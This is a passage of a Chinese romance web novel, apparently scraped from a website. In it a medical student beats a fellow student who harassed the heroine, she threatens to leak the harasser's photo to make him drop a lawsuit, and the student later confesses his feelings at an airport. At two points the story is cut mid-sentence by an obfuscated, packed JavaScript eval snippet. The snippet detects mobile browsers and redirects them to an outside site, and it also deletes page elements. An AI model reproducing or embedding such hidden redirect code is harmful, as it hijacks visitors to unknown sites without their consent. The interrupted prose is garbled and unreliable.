高考结束后,曾有个隔壁班的男生向她表白,因为不想得罪人,虞听拒绝得比较委婉,结果那个男生到处跟人宣扬她是他的女朋友。后来虞听就学会了干脆利落地拒绝,不把话说得重点,这些人压根就听不明白。 况且她虽然不知道眼前这个人的名字,却认出了他就是上次那个在画室里诋毁方嘉年的人。 虞听自己可以说方嘉年是渣男,却容忍不了别人说他半点不好,更何况这个男生说的全是谎话,心底的厌恶又加深了一层。 正是下课时间,走廊上人来人往,已经有人在针对这一出窃窃私语。 “怎么回事?” “是不是那个男的表白被拒绝了,在纠缠她啊?” “要过去帮忙吗?” “谁纠缠了?我们是认识的!” 张赫面红耳赤地吼了一句,转头看见虞听眼中明显的嫌恶,顿时无语地笑出声来:“把别人变成死缠烂打的坏人,高兴了?不过是请你吃顿饭,至于这样?看你长得有几分姿色,才对你好点,这就蹬鼻子上脸了?告诉你,别不识好歹……” 虞听气得满面通红。 本来就因为被人围观觉得够丢脸了,现在听着这自以为是的话语,内心的怒火上涨到了顶峰,不由分说就摘了肩上的包抽打起对方来。 “都说了叫你放开!放开!听不懂人话吗?” 因为一时没反应过来,张赫挨了好几下,看着周围人把他当骚扰犯的眼神,甚至有人还准备上前来帮忙,脆弱的自尊心立刻被戳破了,气得高高扬起手掌:“妈的!你这个烂.婊.子——” 要挨打了。 虞听紧紧地闭上双眼,然而在疼痛降临之前,率先感受到的却是刮过脸上的一阵凉风。 周围一片骚动,有女生大声尖叫了起来。 怎么回事? 睁开眼,发现方才还挥掌要扇她的人已经倒在了地上,一个巨大的身影骑在他的身上,正一拳又一拳地狠揍着他的脸。 鼻血很快就淌了出来,张赫就这么被压在身下,像块破抹布一样,连反抗的力气都失去了,只能被动挨着揍。 这完全是单方面的殴打。 走廊上陷入一片混乱,在无数人的惊叫声中,在姗姗来迟的保安急促吹响的哨声中,在四处飞溅的鲜血中,虞听认出了打人者是谁。 那盯着看了无数次的背影,不可能认错。曾经给她辅导过功课,在洁白试卷上写下一个个端正字体的手,此刻化成硕大无朋的拳头,轻易击碎了他人的骨骼,眼眶,鼻梁。 虞听站在原地,动弹不得,嘴里无意识地挤出了几个字:“嘉……嘉年哥……” 她甚至都不知道自己发出声音了没有。 可那专注打着人的人偏偏回头了。 柔顺的头发,端庄的额头,高挺的鼻梁,饱满的唇线…… 明明是在笔下画过千万遍的长相,哪怕闭上眼都能描摹出来,可此刻却感到无比的陌生,好像完完全全变成了另外一个人。 他面无表情地与虞听对视了一会儿,然后低下头,看了看自己沾满鲜血的手掌,无声地动了动唇。 ——妈的。 从那优美唇形中流露出来的,是方嘉年绝对不可能说出的话语。 17. 火葬场06 吃瓜帖:听说某F姓学长在艺体楼打人了,是真的吗? 主楼:帖主是大一新生,进校前就听过这位学长的事迹,听说是个特别亲和的人,在图书馆远远看见过一次,本人是真帅。55555到现在也不敢相信他会打人…… 点赞1031,转载128,评论369 1L:医学院那位? 2L:……这是能说的吗?我早就觉得那个学长有点不对劲了,看人的眼神怪怪的…… 回复2L:能不能说,你不都已经说了吗? 3L:这说的谁啊? 回复3L:我们学校提起帅的不就那一位吗?还能是谁? 回复3L:FJN。 4L:医学院,帅哥,好亲近。这还有必要匿名吗?直接报方嘉年身份证号得了。 5L:造谣的吧?那哥人挺好的,而且看上去很善良,看着就不像能见血的样子。 回复5L:他学医的,你说他见过血没有? 6L:现场怪来了。谢邀,人在现场。FJN确实打人了,打的美术系一个男生,当时这个男生正在纠缠另一个女生。FJN突然冲出来把人揍飞了(对,没错,就是你理解的字面意义上的飞)本宝都被吓傻了…… 7L:不会是感情纠纷吧? 8L:那个女生是方嘉年女朋友吗? 回复8L:应该不是,女生好像也是美术学院的。听说方嘉年女朋友是他同系同学。 9L:笑死,方嘉年是有超雄症吗?路见不平拔刀相助? 回复9L:总比某些冷眼旁观的路人强。 10L:来了!第一目击者视角/图片/图片/图片/ 回复10L:我去,还真是打人了。 回复10L:这么糊的照片,我怎么看出了一种暴力美学? 11L:虽然知道这么说不对,但是学长真的好帅…… 12L:好帅+1 13L:不是我说,你们女的三观真是偏到没边了…… 回复13L:不是我说,你们男的也太容易破防了…… 回复13L:哈哈哈哈哈。 回复13L:(该评论已被管理员删除) 14L:不过打人这事没处罚吗?过去好几天了,学院都没发通报。 回复14L:听说已经被停课了。 回复14L:估计要看受害人那边。 回复14L:不会被退学吧? 回复14L:想多了,方嘉年家里挺有钱的,这事八成会被掩盖过去。 ………… 关掉手机,虞听揉了揉干涩的眼睛,将脸埋在手掌里,发出一声深深的叹息。 论坛里真真假假的八卦信息看得人头疼,脑海里又回想起那天走廊上的事。 张赫被众人抢救出来时已经陷入昏迷状态,当即就被救护车送往了医院。 而方嘉年…… 自从那天起,她就再也没有见过他。 想了想,她拿起手机,找到方嘉岁的号码拨打过去。 铃声响了很久,电话才被接通。 “喂?” 听到方嘉岁声音的那一刹,虞听不知怎么有点哑口无言,过了好半天,才嗓音滞涩地开口:“……岁岁。” “嗯。”方嘉岁沉稳地回应了她。 虞听抓着手机的手握紧了,问:“嘉年哥……他怎么样了?” “在家待着呢。” “我听说……他被停课了。” “嗯,只是暂时的。” 虞听的心一下子提了起来,六神无主地问:“那现在要怎么办?” 方嘉岁叹了口气:“我爸妈在跟受害人那边谈呢。方嘉年打断了那个人两根肋骨,鼻梁骨折,眼球挫伤,还差点失明,现在对方家长要起诉。律师说征得受害者谅解书是最好的方式,不然只能打官司。但方嘉年说什么也不肯去道歉。” 说到这里,她突然有点脾气上来:“家里现在一团糟,他再这么下去就要被退学了……” 说完又反过来安慰虞听:“唉,我就是随便说说。你别担心,他好着呢,我爸妈不让我跟你说这些。” “我……” “什么?”方嘉岁问。 “我能去看看他吗?” *** 虞听已经有段日子没来过方家了,但再来还是很熟悉,方嘉年的房间就在走廊尽头的右手边,恰好和方嘉岁的房间是对门。 以前在这里过夜时,清晨起来时,偶尔会与正好出门的他撞上视线。 “叩叩叩。”做足心理建设后,她抬手敲了三下房门。 门后很安静。 虞听清了清嗓子:“嘉年哥,我是……” 话还没说完,门就被打开了。 方嘉年一手扶门,低头看着她,高大的身体几乎将门口堵了个严严实实。 虞听茫然地与他对视,因为太过突然,还有点没反应过来。 “进来吧。”方嘉年侧身让出位置。 虞听几乎擦着他的身体走了进去。 房间格局跟方嘉岁的卧室差不多,只是墙上既没有张贴寻常男生会喜欢的球星海报,也没有像方嘉岁那样塞得满满当当的私人物品,整洁干净得就像一间客房,床、书桌、飘窗……一览无遗。 唯一具有方嘉年个人特色的,大概就是书架上摆放的众多专业书籍,桌上的电脑开着,键盘旁边放着一个头戴式耳机。 刚才是在听歌吗?所以才没听见敲门声? 在暗恋他的少女时代,虞听曾对他的房间充满了好奇。 她想知道他会用什么颜色的床单四件套,衣柜里会不会有他身上的同款好闻香气,她想象着他在书桌前伏案学习的样子,用钢笔在纸上书写下一个个漂亮字体…… 后来,借着补习的由头,她终于进入了他的房间。 第一次进来时,心跳快得像要猝死了,她偷偷用余光观察整个房间,哪怕连微小的角落也不放过。 后来胆子大了,还会趁他出门去洗手间时,拿起他放在椅背上的外套,像个变态狂一样,将鼻尖埋进衣服里,深深嗅闻那上面残留的他的气味。 而现在,她环顾房间,发现自己的心情竟然很平静。 也许那像得了热病一样的单恋症候,如今终于退温了。 “坐这里吧。”方嘉年将书桌前的电脑椅推给她。 “谢谢。”虞听在椅子上落座。 方嘉年也在床边坐下,看着她问:“吃过饭了吗?” “嗯。”虞听低声回。 这句话之后,谁也没有开口说话。 才几天没见,两人就有了之前没有的生疏和尴尬。 沉默在房间无声蔓延,过了良久,方嘉年才问:“那天……吓到了吧?” 床单在指间被抓出褶皱,他像是有什么话要说,一直在犹豫和斟酌,但虞听打断了他:“哥哥去道歉吧。” “什么?”方嘉年愕然抬起头。 “向受害者道歉。”虞听补充。 “受害者?” 微微上扬的语调里透露出一种荒谬意味。 虞听不知道他为什么要表现得像置身事外的人一样,只是陈述事实道:“哥哥不是打伤了人?去吧,不管是道歉还是什么,都要取得别人的原谅。” 方嘉年盯着她看了半晌,那眼神看着不知怎么有点冷,像二月的飞霜,寒气刺骨。 “如果我不去呢?”他用极其轻慢的语气反问。 “不去就会被退学。” “退吧。” “哥哥就当不了医生了。” “那就不当。” “……” 虞听终于被他这无所谓的神态激怒了,腾地站起身,说不上是生气还是失望:“哥哥怎么变成这样了?你不是这样的人啊。” 他怎么会完全不在乎自己的前途呢,分明是没有犯过一次错,人生干净得毫无污点的人。 方嘉年也从床沿站了起来,迈动长腿,面无表情地朝她走过来。 房间明明不小,但他几步路就到了跟前,修长身躯骤然逼近,比她高出一个头,简直就像一堵巨墙,带来难以言喻的压迫感。 虞听被迫后退,但她身后就是书桌,已经退无可退。 最终,后腰抵住了桌沿,眼前是男子肌肉结实的胸膛,似乎还能感受到上面散发的炙热体温。 脑海里一团乱麻,她睁大眼睛,试图理清此刻是个什么状况。 方嘉年双臂越过她的侧腰,撑在身后的桌面上,将她夹在书桌与自己之间,看上去就像将她半抱在怀里一样。 “我是什么样的人?你真的了解么?”冷沉的嗓音飘下来,目光范围内只能看见他紧绷的下巴。 因为身高差距,虞听要竭力仰头,才能看清他的脸,还有眼底的冷漠情绪。 “我……” 这样根本说不出话来,心跳得快要炸了,虞听伸出手想要推开他,却被反握住手腕,他眼神冰冷得没有丝毫温度,就这样居高临下地俯视着她,一字一句地诘问:“嗯?说说看,我是个什么样的人?” “……” 虞听难以忍受地别过了头。 太近了,近到她完全没办法思考,也无法与他坦然对视。 不能回答,因为害怕一张口心脏就会从嘴里跳出来。她甚至连他问了什么也不知道,只能感受到他身上的香气四面八方地将她包围,紧张得四肢僵硬。 方嘉年低下头,贴在她的耳边,用克制着怒火的嗓音叹道:“虞听,讲点道理吧。敢对你动手的混帐东西,我没把他打死就不错了。你说什么?让我去给他道歉?” 灼热呼吸喷洒在耳际,虽然是质问的语气,但不知道为什么,声音低沉又温柔,连说脏话的发音都标准得令人无语。 这种时候还能感觉到心动的自己也是没救了,虞听紧咬着下唇,压抑着抬手抱住他的冲动。 两人的距离无比接近,近到方嘉年只要再过来点,嘴唇就能触碰到她的耳垂。 令人窒息的沉默中,时间仿若静止了,安静的室内似乎能听到彼此急促的喘息与心跳声,在某个瞬间,虞听甚至以为他真的会亲下来。 但他终究是没再近一步,缓缓直起身,一直抓握着她的手掌也松开了,淡声下逐客令:“你走吧。” 在他话音落地的瞬间,虞听就推开他冲出了卧室。 直至跑到公寓楼下,屏住的呼吸才得以顺畅进行,虞听按着膝盖大喘着气。 本意是来劝方嘉年去道歉,可没想到不仅没劝动,自己还险些因为心跳过速而猝死。 一向温和的他这次却格外固执,甚至展现出了些许咄咄逼人的气势。 为什么?虞听时至今日都不能明白,那天他为什么要动手? 方嘉年是个与暴力毫不挂钩的人,从小到大,他没有一次因为打架事故遭到学校处分。可那天他却在走廊上拎着别人衣领疯狂殴打,可怕的不是明知对方已经毫无反抗能力还接连落下的拳头,而是那面对鲜血四溅也能漠然视之的模样,实在是……太不正常了。 ——妈的。 那优美的唇形吐露出从未说过的脏话时,他的样子陌生得简直就像另外一个人。 不,不管怎么样,她都不能让他因为自己被退学。 虞听终于下了决定,拨通方嘉岁的电话。 “张赫在哪间病房?” *** 张赫这几天在病房过得很舒适。 不用上课,校领导接连过来慰问。传闻中方嘉年的那对有钱人父母还在他面前卑躬屈膝地道歉,甚至给他的病房升成了贵宾套房,每天还有源源不断的高级水果和美食送进来。 断掉的鼻骨已经进行了整形手术,因为方家负责全部医药费,所以毫无负担地选了最高价格的那个套餐,等拆线之后,他就会成为高鼻梁的大帅哥一个。 张赫美滋滋地躺在病床上,翻看着论坛里有关自己的帖子,拇指 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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新生聚会那天,张赫披荆斩棘才从一堆男生中成功加到她的微信,这之后更是每天上课都抢占她身边的位置,本以为能够在她面前留下点印象,却没想到自己跟其他人一样,也被她无视了。 想起她平时对自己的爱答不理,甚至连名字都叫不出来,张赫就来气,抬起下巴道:“想让我撤回诉讼,你亲一亲我,倒是能考虑一下。” 虞听冷冷道:“如果你不撤回诉讼,我就起诉你。” “什么?”这一招反客为主,连张赫都气笑了,“罪名是什么?” “性骚扰。” “你有病吧?”张赫的脸色立即沉了下来,“谁骚扰你了?” “你那天在走廊上骂我烂.婊.子,很多人都听到了,可以作证。” “那又怎么样?你不会天真到以为警察会因为骂人就把我抓进去吧。” “我还有你发的骚扰短信。” 刚进校时她被迫加了一大堆新生的联系方式,什么人都有,每天给她发乱七八糟消息的人很多,微信列表简直跟个垃圾桶一样。 除了置顶的几个人,虞听平时很少看消息,有段时间她想将未读消息清理一下,但最终因为懒而放弃了。那天回去翻了才知道,张赫也在给她发垃圾消息的人之列。 “对了,还有一张裸照。”她突然想起来。 张赫立刻就怒了:“喂!只露上半身叫什么裸照?” 露的是上半身还是下半身,虞听根本就没点开看,看到就立马退出了。 “我不管,如果你不撤回诉讼,我就把这张裸照发布到学校论坛、新生群、教务群、老乡群,总之各种群。我还要发去网上,你如果不怕社死的话,就尽管告吧。” “你是不是疯了……” 张赫看她的眼神已经跟看疯子似的了。 虞听一点也不生气,平静地点点头:“对,我就是疯了,疯女人做什么都不奇怪。你很喜欢获得别人的关注吧?这下你该高兴了,因为你会变得非常出名。到时候学校会到处流传你对我求而不得死缠烂打的故事,方嘉年则是看不过去出手暴打猥琐男的大英雄,你不怕丢人就尽管去告吧。” “哦,对了,我还要起诉你。我爸妈只有我一个女儿,也就是说,我无论做什么他们都会支持,我会一直告你,哪怕官司输了,也要二次上诉、三次上诉,我家多的是钱,不差这点律师费,我这辈子就缠上你了。” “……我可是受害者。” 张赫愕然地看着她,想不到虞听看着文文静静的,嘴巴竟然这么能说,简直颠倒黑白了。 “你看看他把我打成什么样了?”他愤怒地指着自己脸上的纱布。 虞听并没有看,而是抬头环顾了宽敞明亮的病房。 作为提供给外宾政要使用的贵宾套房,这里不仅有电视机、电冰箱、微波炉这种普通病房没有的设备,甚至还包括一个设有茶几和沙发的会客区。 她看向坐在病床上满脸委屈的人:“听说你家只是普通工薪家庭?那什么时候才能住得起这样的病房啊?方家人是有钱,这段时间任你予取予求,不是因为他们怕了你,而是因为他们都是好人,因为儿子打伤了人,心怀愧疚,所以想要尽可能弥补。如果他们知道儿子打人是为了教训一个性骚扰犯,你觉得他们还会对你做到这种程度?不要以为被打了就占着理,除非你能保证这辈子没犯过错,不然你拿什么跟一个大公司的法务部去抗衡?” “……” “可怕吧?如果怕了,就撤销诉讼吧。” 虞听见目的达到,也不继续威胁了,做出最后总结:“趁他们还愿意补偿的时候,拿着钱见好就收吧,天上掉馅饼的事,也不是次次都有的。” 她转身离开了病房。 18. 火葬场07 学期结束了。 考完试的虞听和方嘉岁约在食堂见面,两人去窗口打了饭菜,在窗边位置坐下。 “我还剩最后一门,明天就解放了。”方嘉岁说。 “我已经考完了。” “羡慕啊。”方嘉岁恶狠狠往嘴里塞了一口饭,“寒假里干什么好呢?你要不要跟我去新天地广场,听说那边会举办快闪活动。” “去不了。”虞听照实说,“我爸妈已经决定今年回老家过年。” 虞听的老家在C市,那是一个冬天会下雪的北方城市。 方嘉岁闻言有点失落:“没有你,我一个人去还有什么意思啊?” 虞听灵机一动:“你可以约上高山一起去。” 这样也能为两人创造点机会。 “高山?” 方嘉岁感觉自己很久没听到过这个名字了。学期末了,体育课是最早结业的课程,托高山的福,她的羽毛球课程拿了个A。 “我为什么要约他一起去?” “听说他也喜欢看漫画。”虞听拼命为高山说好话。 “是吗?他没告诉我。” 方嘉岁并不怎么在意,还在失落于虞听不能陪自己去的事实:“你是真的要回老家对吧?不是因为方嘉年在躲着我吧?” 不知道是不是方嘉岁有意避嫌,她最近都很少在虞听面前提起方嘉年,突然这么说出他的名字,虞听的心脏咯噔了一下,不自在地别开眼。 “你是你,嘉年哥是嘉年哥,干吗混为一谈?” “我怕你因为那狗东西疏远我嘛。”方嘉岁大大咧咧道。 虞听默默忍了几秒,实在是没忍住:“你别这么说他。好歹是你哥哥,而且,他也没做错什么……” “你现在完全不喜欢他了是吧?”方嘉岁突然严肃地问。 “是不喜欢了,但是……” 但是也别当着她的面骂他啊。 方嘉岁搁下筷子,一脸受不了她的表情:“都不喜欢了还这么护着他,虞听,你其实是方嘉年的毒唯吧?” “……” 什么毒唯,说话太难听了。 虞听因为好友的口无遮拦而生气了,不想再继续这个话题。 “对了,我要去韩国交换了。” “什么?” 方嘉岁提高的嗓门将半个食堂的人的目光都吸引了过来。 “现在?” “不是,大二才去,但是要提前半年申请。” “吓我一跳。” 方嘉岁拍拍胸口,过了会儿又激动起来:“那你岂不是可以去线下的主题咖啡厅了?也可以不用代购就能买到谷子了!” 方嘉岁经常追的网漫里就有韩国的,还总是斥巨资购买正版漫画和周边,但是因为内容敏感,往往很难逃过海关法眼。 虞听:“嗯,等我安定下来,你来首尔找我玩。” 两人兴奋地策划起以后去韩国玩的安排,说着说着,方嘉岁突然幸灾乐祸地笑了:“你这一走,方嘉年要哭了。” “……说什么呢?嘉年哥怎么会哭?”虞听荒谬地反问。 她从没见方嘉年哭过,也无法想象他哭起来是什么样子。好像从第一次见面起,他就总是成熟而得体的形象,感觉针扎一下都不会流出血。 想要看他哭,估计世界末日吧。 *** 腊月二十三,虞家已经准备好了这次回老家过年要带的东西,大包小包地到了机场。 “宝宝,要去上洗手间吗?” 虞妈不喜欢飞机上狭小的洗手间,所以习惯在登机前解决。 “我不去。” 虞听刚刚买了一杯星巴克,但不知道是不是咖啡豆出了问题,感觉有股淡淡的酸味,她有点难受,瘫在椅子上不想动弹。 “那爸爸妈妈先去了,在这里待着,有陌生人来了不要跟他说话。” “……知道了,快去吧。” 虞听目送着爸妈离开的背影。两人一大把年纪了,还是腻歪得像热恋中的小情侣一样,连去厕所都要牵着手一起去。 她低头无聊地打开手机,家族群里正热热闹闹地刷屏着照片。为了迎接他们一家三口,外公外婆家做足了准备,光是晚饭的食材就买了满满一桌。 舅舅在群里@她:小家伙有口福了。 虞听正要打字回复,顶部弹出一条方嘉岁发来的消息。 岁岁:你还没登机吧? 猫咪不吃鱼:还没,在候机。 岁岁:在哪个登机口?航班信息给我一下。 猫咪不吃鱼:怎么了? 岁岁:来不及解释了,先发我。 她语气很急,虞听只能把机票信息截图发给了她,又说了自己在哪个登机口。 接下来又玩了一会儿手机,爸妈迟迟没有回来,正想着要不要打个电话问问的时候,该说是某种直觉吗?莫名觉得后背发烫。 转头一瞧,她惊讶地从长椅上站了起来。 ……怎么回事? 是眼花了吗?嘉年哥怎么会出现在这儿? 他四处张望,看上去像是在寻找什么人,一向从容淡定的脸上显得非常急迫和慌乱。 就在虞听茫然盯着他的那一瞬间,眼神对视了。 所有的焦急都消失了,他不再张望,目光紧紧地锁定着虞听。紧接着,长腿大步往前,向她的方向迈了过来,不过眨眼的工夫,就走到了她的面前。 “嘉……嘉年哥,”不知为何,在他面无表情的注视下,虞听有些紧张地结巴起来,“你……你怎么在……” 话没说完,方嘉年突然粗鲁地拽住了她的手臂。虞听还来不及喊痛,眼前就一片漆黑,厚实的胸膛重重地撞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16623942|186945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在了鼻尖上。 比痛觉最先感知到的,是年少时代她曾经无比渴求的、属于方嘉年身上的清冷气息,它扑面而来,盈满鼻腔,将她紧紧包裹着。 ……是做梦吗? 那杯坏掉的咖啡最终还是把她的脑子喝出问题了吗?现在都出现幻觉了。 居然能生出方嘉年主动抱她的幻觉,也是真的可笑,难道她还没有完全放下方嘉年吗? 可那逐渐变紧的拥抱,还有耳边的灼热呼吸,似乎都在证明着,这不是她的幻觉。 “别去。” 头顶响起的声音里充斥着少见的焦躁,甚至还有一丝哀求的意味。 “……去哪儿?”虞听下意识反问。 “韩国,不要去。” “……” 虞听足足过了半分多钟才反应过来:“我不是要去韩国啊……” 是回老家。 这是国内航班,他都进来候机大厅了,连这都不知道吗? 不过,比起这个…… “哥,你先把我松开吧,别人都在看着呢……” 虞听难为情地挣扎起来。 可方嘉年箍着她的双臂却更加收紧了,虞听被迫侧脸贴在他的胸前,感觉肋骨都在隐隐作痛。 “疼,好疼……”她忍不住喊了起来。 抱着她的手终于松开了些,虞听趁这机会挣脱出他的怀抱,抬头时看见方嘉年满头的汗水,连额前的碎发都被汗液打湿了,不免有些吃惊:“你跑过来的吗?” “不知道。” “……” 这怎么能不知道? 看着失魂落魄的他,虞听叹了口气:“岁岁跟你说的吗?我不是要出国,只是回老家过年。” “那为什么要发那条朋友圈?” “哪条?” “你说要去远航。” 啊…… 虞听想起自己临出发前,确实是发了一条朋友圈,配图是打包好的一地行李,以及文案——再见了妈妈,今晚我就要远航。 “……那只是玩梗罢了,不是真的要去远航。” 难道是误会她要去韩国,所以才追来机场的吗? 为什么?为什么要做到这种程度? 这段日子方嘉年的反常举动仿佛还历历在目,一个离谱的猜想缓缓在脑海里浮现。 不会吧…… 就当我是疯了好了,她想。 “哥哥,难道你喜欢我吗?” 心脏在疯狂跳动,虞听在自己都没有意识的情况下,问出了这句话。 候机厅人来人往,落地窗外有飞机在跑道滑翔,周围明明如此喧嚣,可她的世界却无比安静,仿佛暂时失去了听觉。 而在这短暂又漫长的寂静中,她听见了方嘉年的声音。 “嗯,好像是这样。”他这样回答她。 19. 火葬场08 在方嘉年二十来年的人生里,他从没有喜欢过什么人。 不同于生气、愤怒、伤心、高兴等这些人类生来就具有的基本情绪,他认为喜欢是一种需要后天学习的情感。 由于性格里存在的缺陷,他的同理心天生就比别人差,所以他从小就很少哭泣,大多时候都面无表情。相处久了别人当然会觉得奇怪,不过模仿也并非什么难事,只要不在别人流血受伤时微笑,在特定的场合摆出合适的表情,就不会有什么问题,经过长期的实践,他已经得心应手。 同理心可以通过模仿去学习,这是为了完美融入人群的必要手段,可喜欢却不用去反复练习,没有人会因为他不存在喜欢的东西而去指责他不正常。 ——直到遇到虞听前,他一直是这么认为的。 当看到那混蛋小子在走廊抓住虞听的手,对她高高扬起巴掌时,方嘉年脑子里轰地一响,维持了这么多年的理性系统突然全盘瓦解了。 自己连一根手指头也不舍得碰,实在是无法理解,是怎么对着那样一张脸动手的。 反应过来时,自己已骑在那人身上狠狠扇了几耳光。 连最容易发生暴力冲突的中学时期都没有打过一次架,他完美地经营着自己的优等生人设,可现在却像个青春期的毛头小子一样将人按在地上揍。 眼前一片血红,压抑在体内的暴戾失控地爆发,他一下又一下地挥动着拳头,感受着人体的面部骨骼脆弱得如同木片一样在自己手下碎裂。 尖叫声在走廊上响起,可耳朵像被堵住了,什么也听不见,在这仿佛身处真空的环境中,一个微弱的、颤抖着的嗓音传入耳孔。 “嘉……嘉年哥……” 不断挥舞着的拳头顿住了,他如梦初醒一般,回头看见了虞听。 那是一张苍白的、透着张皇失措的脸,她看向他的眼神充满了恐惧,就像看陌生人一样。 他连忙低头检查自己的样子。 凌乱的衣襟、沾满血的双手,还有躺在身下昏迷不醒的人。 这一切都表明,方才虞听直接目睹了他暴力的一面。 妈的,搞砸了。 一句脏话不受控制地脱口而出。 学校停课了,医院那边也让他暂时回家休息。 在外地出差的父母急匆匆地赶了回来,比起怪罪,更多的是询问他到底发生了什么事。一向优秀懂事的儿子不可能无缘无故地出手打人,他们断定这背后有隐情。 方嘉年一言不发,把自己关在房间里,听着耳机里的摇滚乐。 学校的处分,父母的担忧,他浑然不在意,脑海中一遍遍回想着虞听最后看他的眼神。 害怕、震惊,还有陌生。 不该在她面前打人的。 哪怕再怎么愤怒,也应该要控制住。修理人的方式有很多,他完全可以把那小子私下拎去巷子里揍一顿,就比如当初他教训那个给虞听取绰号的小兔崽子一样。 她肯定吓到了吧? 手机依然打不通,消息也发不出去,他还在她的黑名单里。 或者该去找她吗?解释不就好了,他可以想出一个足以遮掩过去的理由。 就在他坐立不安的时候,房门被敲响了。 本来不打算理会,可门后传来了虞听的声音。 “嘉年哥,我是……” 他几乎是听见她声音的瞬间就起身了,等回过神来时,自己已经打开了门,站在房门口,低头注视着她。 “坐这里吧。” “谢谢。” “吃过饭了吗?” “嗯。” 对话生疏而客气,从前看见他总是双眼明亮、有一大堆话要说的虞听,此刻却深埋着头,看也不看他,简短的回答里透出一种要与他划清界限的姿态。 方嘉年沉默了良久,在脑中构思着该怎么向她解释。 说看不顺眼那小子肯定不行,还不如说自己吃错药了,神经敏感,就在他反复思索着有哪些药物能引起暂时的情绪失常时,虞听突然开口了。 “去道歉吧。”她说。 “……” “向受害者。” 随之而来的补充也令人无语到了极点。 受害者?她居然称呼那敢对她动手的小子为受害者? 那自己成了什么?加害者? “如果我不去呢?”忘了维持温和的语气,他就这么冷冰冰地问出了口。 “不去就会被退学。” “退吧。” “哥哥就当不了医生了。” “那就不当。” ——前途有什么重要的?这就是你让我去向那小子低头认错的理由吗? 他几乎有种愤怒到极致的委屈,因为虞听没有选择站在他这边,所以感觉到了背叛。 可虞听表现得比他更生气:“哥哥怎么变成这样了?你不是这样的人啊!” 从前方嘉年不理解怎么会有人因为别人的一句话恼羞成怒,做出种种不理智的举动,而他现在切实体会到了言语的力量,他如同被虞听的话打了一闷棍,被扔去外太空。 ——怎么了?你很失望吗?可是我原本就是这样的人啊。 在那一瞬间,他很想这么质问虞听,将她逼进墙角的缝隙里,低头看见那近在眼前的耳垂,想一口啃咬下去,借以发泄心中的不满。 然而从某个瞬间起,怒气悄然发生了变质。 虞听从头到脚没有一处不漂亮,就连耳垂也是。她的耳垂是老人家经常会夸为有福气的类型,肉乎乎的,原本是白玉一般的颜色,此刻因为惊慌,慢慢染成蔷薇般的浅粉色,这情景莫名勾动了方嘉年的食欲。 喉咙变得干渴起来,喉结上下滑动,他想象着将那饱满的肉垂衔入口中会是一种怎样的感受,口感会不会像小时候曾吃过的果冻那样柔滑,带着让人上瘾的甜味? 是因为盯着看太久了吗?虞听的状态开始不对劲起来。 总是直视人的明亮双眼变得异常躲闪,连浓密的长睫都颤动起来,犹如蝶翅,隐约可见泪水沁出。 是害怕了? 方嘉年此刻万分庆幸她无法得知自己心中所想。 如果让虞听看到他满脑子的肮脏念头,可能会吓得夺门而出。 “你走吧。” 不知道用了多大的自制力,他才说出这句话。 别说道歉了,他一次也没去医院探望过那小子,但很快就从父母这里听说了对方收了钱撤销起诉的消息。 “儿子,要是有什么事,一定要跟爸妈说。” 薛女士并没有责怪他,反而忧心忡忡。她似乎以为他是因为医院繁重的工作而压力过大,导致情绪出了问题。 “对不起,让你们担心了。” 方嘉年一如既往地对父母表达了歉意和感谢,看上去就跟平时没有什么区别。 这只是一时的失误罢了,他心想,他会回到正确的轨道上来。 很快到了学期末,他比往常更加忙碌,除了撰写论文和准备考试,科室的事也很多。 最近又轮转去了普外科。因为缝合技术好,所以带教老师很喜欢带他上台,几个小时的手术做下来,直到下午三点才吃上一口热饭。 “虞听要出国了,”被打发来医院给他送饭的方嘉岁说,“去韩国留学。” 方嘉年夹菜的手一顿,随即若无其事道:“……挺好的。” 方嘉岁狐疑地打量了他一眼:“真心的?” 他放下筷子,便当盒里的饭菜还剩下一大半。 “你有这时间不如回去多翻两页书,要是挂科了,过年的压岁钱就没有了。” 方嘉岁“切”了一声,麻利地收拾起饭盒。 “我看虞听走的那一天你哭不哭。” “……我还没吃完。” 收拾饭盒到一半的方嘉岁气急败坏地抬起头:“我管你吃没吃完,自己去食堂打饭!” 收到方嘉岁发来的消息那天,他刚和教授聊完开题报告的事,从办公室出来。 妹妹:/图片/ 点开一看,是一条朋友圈的截图。 熟悉的小猫头像一看就是虞听的账号,配图只有一张,满地整齐打包好的行李,规模大到几乎让人怀疑他们一家三口是不是要移民。 而上面的文案是—— 再见了妈妈,今晚我就要远航。 方嘉年的瞳孔急遽收缩,拿着手机的手劲大到几乎要将屏幕捏碎。 下意识拨出虞听的号码,等电话里传来语音提示,才想起自己早被她拉黑了,不由得骂了声脏话,拔腿就往停车场跑。 在开往机场的高架上一路疾驰,路上还险些闯了红灯,当终于抵达机场时,他甚至来不及将车开进指定区域,就匆忙推开车门下了车,冲进航站楼。 机场大厅的电子屏幕上滚动显示着实时航班信息,看得人眼花缭乱,貌似没有飞首尔仁川的班次。 他干脆给方嘉岁拨去电话,接通便道:“问一下虞听的航班信息。” “哥为什么要问这个?” “她登机了吗?只问这个就行。” “等等……”电话那头的方嘉岁终于反应过来,“不会吧……你去机场找虞听了吗?” 深知妹妹爱与自己作对的个性,方嘉年焦头烂额之中,不自觉带上了恳求语气:“求你了,岁岁,就帮哥问一下吧……” 从没求过人的他却对着小六岁的妹妹说出了这样低声下气的话语,兴许连方嘉岁都震惊了,半晌都没能说出话。 挂完电话不久,她就发来了虞听的航班信息。 方嘉年立即直奔值机柜台:“请帮我订一张最近班次的机票。” 柜台里的工作人员问道:“先生您好,请问您要去哪儿?” “哪里都行。” “有一趟两个小时后飞往海口的航班,但是只剩下商务舱。” “可以。” 